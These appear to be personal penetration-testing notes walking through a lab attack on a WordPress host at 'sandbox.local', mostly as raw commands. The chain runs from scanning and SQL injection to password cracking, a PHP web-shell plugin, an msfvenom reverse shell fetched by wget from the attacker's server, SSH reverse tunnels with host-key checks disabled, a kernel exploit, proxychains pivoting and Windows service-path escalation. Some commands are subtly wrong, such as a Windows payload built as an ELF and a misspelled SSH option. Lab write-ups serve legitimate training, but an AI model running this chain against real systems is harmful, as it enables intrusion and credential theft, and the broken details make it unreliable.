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first Step:
        Adding ip address to /etc/hosts
        bash -c "echo [ipAddress] [DNS Name]"
Public Network Enumeration:
Scanning:
        nmap -sC -sS -p0-65535 [ipAddress/DNSName]
Targeting the Web Application:
        open webpage in browser
Web Application Enumeration:
        1. Perform a Directory Busting attack to find any hidden directory : Dirbuster
        command : dirb http://sandbox.local
        Now we find that the webpage is using Wordpress:
        Now run a Wordpress scanner to find any known vulnerability
        command : wpscan --url sandbox.local --enumerate ap,at,cb,dbe -o sandbox-scan -f
                  cli-no-color
        2. use searchsploit to find any exploit against wordpress vulnerability
                we find a exploit which need cookie
        3. use burpsuite to intercept the request and find cookie
        4. SQL Injection Enumertion:
                Now replace the cookie parameter with the sql injection show in exploit
                It is confirmed that this site is vulnerable to SQL Injection.
        Now use SQL injection to find tables present in database, try to find admin
        credentials.
        Now use the users table and query for columns .
        Dump the user_name and Password Hash
        5. Cracking the Password:
                use John the reaper to crack the password
                command : john --wordlist=/usr/share/wordlist/rockyou.txt pass.txt
                we get the cracked password niw login to wordpress
Enumerating the Admin Interface:
        In wordpress as a admin we can upload plugins and php shells on that plugins
        to execute arbitary code execution.
 Obtaining a Shell:
        First we need to package the plugin in a way that wordpress can handle
        we need to zip the php plugin
        command : zip plugin-shell.zip plugin-shell.php
        Now upload the zip file and install the plugin
        Now to run command run :
        curl http://sandbox.local/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=whoami
        Now create a msf payload using :
        msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
        start a local web server :
        python -m SimpleHTTPServer 80
        now fetch this shell from wordpress site using :
        curl http://sandbox.local/wp-content/plugins/plugin-shell/plugin-shell.php?
cmd=wget%20http://ipaddress/shell.elf
        encode space character with %20
        Now make the file executable on wordpress:
        http://sandbox.local/wp-content/plugins/plugin-shell/plugin-shell.php?
cmd=chmod%20%2bx%20shell.elf
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run the shell:
        http://sandbox.local/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=./shell.elf
        Now we get the shell on the admin
Post Exploitation Enumeration :
        Since we know the target is running wordpress all the configuration files and
        database credentials at:
        > wp-config.php
        Creating a stable Pivot Point:
                we will use remote port forwarding
        first we need to find the ports that are opened on server using a bash script:
        Creating a Remote Port:
        command: ssh -R 1122:[kali_linux_IP]:22 -R 13306:[Server_ip]:3306 kali@192.168.0.121
        This will cause us two errors :
        1. This will prompt us to accept the host key of the kali machine
        2. enter the password of kali machine.
        This will solve the first issue :
        ssh -R 1122:[kali_linux_IP]:22 -R 13306:[Server_ip]:3306 -o
"UserUnknownHostFile=/dev/null" -o "StrictHostKeyChecking=no" kali@192.168.0.121
        Now we need to solve the second Issue:
        we can do this by using ssh keys. We will generate ssh keys on the wordpress host
        , configure kali to accept a login from the newly-generated key(and only allow
        port forwarding), and Modify the ssh command one more time to match our changes.
        command:
        mkdir keys
        cd keys
        ssh-keygen
        give the path of keys directory
        this new public key should be added to kali host's authorized key file for the
        kali user but with some restriction :
        see the authorized_keys on kali.jpg for restrictions
        Now the final command will be :
        ssh -f -N -R 1122:[kali_linux_IP]:22 -R 13306:[Server_ip]:3306 -o
"UserUnknownHostFile=/dev/null" -o "StrictHostKeyChecking=no" -i /tmp/keys/id rsa
kali@192.168.0.121
        no-pty: This entry allows the owner of the private key the web server to login
        in our kali machine but prevents them from running commmands and only allow for
        port forwarding;
Targeting the Database :
        Enumeration:
        Application/Service Enumeration:
                mysql --host=127.0.0.1 --port=13306 --user=wp -p
                MariaDB [(none)]> SHOW Grants
                MariaDB [(none)]> show variables
Privilege Escalation:
If we stuck and don't have any way to get high level privilege then we have to start
finding kernel level exploit:
        compile the exploit in kali machine as victim machine has no compiler
        now send the compiled code to the victim and run
        you get the root level privilege
        Now we generate a ssh key on kali linux and transfer this key to victim
        now paste this key to victim machine
        then from kali machine connect to victim machine using :
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ssh root@sandbox.local
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Now always check for history commands and always check for logs / var/log/auth.log
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Target the Database again : Now we have root level privilege we can go for exploitation again Exploitation: login as root: mysql --host=127.0.0.1 --port=13306 --user=root -p By page 794 and 795 we get the shell on mysql server; Post Exploitation Enumeration: cat /etc/fstab : this will show the mount system creating a stable Reverse Tunnel: Newer Version of ssh client allows us to establish a very useful type of tunnel via reverse dynamic port forward. create a SSH key by using : ssh-keygen configure this key in kali machine so that it does not require any interaction now to add into proxychains: echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf Now to run a scanner against proxychains proxychains nmap --top-ports=20 -sT -Pn [ip address] socks proxy require a tcp connection Now we will rdp to the window machine which has share on the mysql linux using proxychains and xfreerdp: proxychains xfreerdp /d:sandbox /u:alex /v:[ipaddress] +clipboard Post Exploitation Enumeration: to get services on window machine use WMIC: wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "c:\windows" To list all the permissions a process have use : icacls "c:\puppets" Now create a payload and encode it then pass through selter with the whoami binary then place the binary in the unquoted service path

Now we try to get some information about number of users and tokens available :

execute we get the meterpreter

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